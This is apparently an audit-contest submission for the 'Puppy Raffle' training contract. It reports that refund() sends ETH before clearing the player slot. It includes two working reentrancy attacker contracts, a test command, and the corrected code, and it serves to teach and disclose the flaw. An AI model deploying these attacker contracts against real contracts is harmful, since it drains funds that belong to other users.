Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

refund violates CEI ETH is sent before clearing the player slot, enabling reentrancy that drains the raffle balance

refund sends ETH before clearing the player slot (reentrancy)

Severity

High

Description

refund pays entranceFee with sendValue before setting players[playerIndex] = address(0).

payable(msg.sender).sendValue(entranceFee); // external call first
players[playerIndex] = address(0); // state update after

sendValue forwards gas. If msg.sender is a contract, its receive() can call refund again while the slot still holds the attacker. Both requires still pass, so the attacker is paid repeatedly from the shared raffle balance (including other players' tickets).

Risk

Impact: Theft of ETH held for active tickets. Honest entrants lose funds.

Likelihood: High. Any user can deploy a malicious entrant, call enterRaffle, then refund. No privileged role required.

Proof of Concept

contract RefundAttacker {
PuppyRaffle raffle;
uint256 entranceFee;
uint256 attackIndex;
constructor(address _raffle) {
raffle = PuppyRaffle(_raffle);
entranceFee = raffle.entranceFee();
}
function attackEnter() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
raffle.enterRaffle{value: msg.value}(players);
attackIndex = raffle.getActivePlayerIndex(address(this));
}
function attackRefund() external {
raffle.refund(attackIndex);
}
receive() external payable {
if (address(raffle).balance >= entranceFee) {
raffle.refund(attackIndex);
}
}
}
  1. Enter several honest players so the raffle holds multiple fees.

  2. Deploy RefundAttacker, call attackEnter{value: entranceFee}(), then attackRefund().

  3. Attacker balance rises by more than one fee; raffle balance drops by more than one fee.

forge test --match-test test_H1_refundReentrancyDrainsFunds -vv

Mitigation

Clear the player slot before the external call so a reentrant refund fails the zero-address check.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
emit RaffleRefunded(playerAddress);
}

Optionally add nonReentrant (e.g. OpenZeppelin ReentrancyGuard) on refund as defense in depth.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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